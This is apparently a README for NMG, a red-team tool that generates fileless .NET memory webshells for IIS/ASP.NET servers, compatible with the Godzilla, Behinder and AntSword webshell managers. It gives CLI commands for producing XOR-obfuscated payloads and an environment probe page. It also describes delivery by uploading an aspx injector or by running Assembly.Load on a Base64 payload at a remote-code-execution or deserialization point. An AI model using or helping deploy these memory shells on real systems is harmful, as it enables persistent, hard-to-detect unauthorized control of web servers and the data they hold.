
Generates parameterized .NET memory-shell payloads (VPP, MVC route, HttpListener) compatible with Godzilla, Behinder, and AntSword clients for red team testing.
Parameterized .NET memory shell generator | Red team / security testing | JMG equivalent for .NET
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG generates parameterized .NET memory shell payloads that inject into IIS/ASP.NET applications without leaving files on disk. After injection, you connect with existing webshell managers (Godzilla / Behinder / AntSword) - NMG just makes the server side work.
Think of it as: input parameters -> compiled payload -> inject -> connect with client
| Type | Target | .NET Framework | Trigger Point |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | Standalone/SYSTEM | 2.0+ | HttpListener (independent of IIS) |
| Protocol | Client | Encryption | Verified |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ End-to-end |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] raw bytes) | ✅ End-to-end |
antsword | AntSword | Base64 | ✅ End-to-end |
| Format | Use Case |
|---|---|
aspx | Upload to writable directory, access once to inject |
b64 | For RCE delivery via deserialization/expression injection |
dll | Raw DLL for custom loaders |
| Command | Purpose |
|---|---|
generate | Generate memory shell payload |
probe | Generate environment detection aspx (reports CLR/trust/MVC/VPP) |
version | Show version |
help | Show usage |
Built-in web interface with Inset Dark theme (Linear-style minimalism):
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
Method 1 — ASPX injector:
.aspx file to any writable directory on the targetAssembly.Load + VPP registration).aspx/.ashx/.asmx on the siteMethod 2 — Base64 (RCE delivery): Execute at any code execution point:
Assembly.Load(Convert.FromBase64String("<payload>"))
Upload the generated probe.aspx and access it once. It returns JSON with:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
Use this to determine which memory shell type and protocol to use.
ASP.xxx_aspx+ClassName detectiondotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT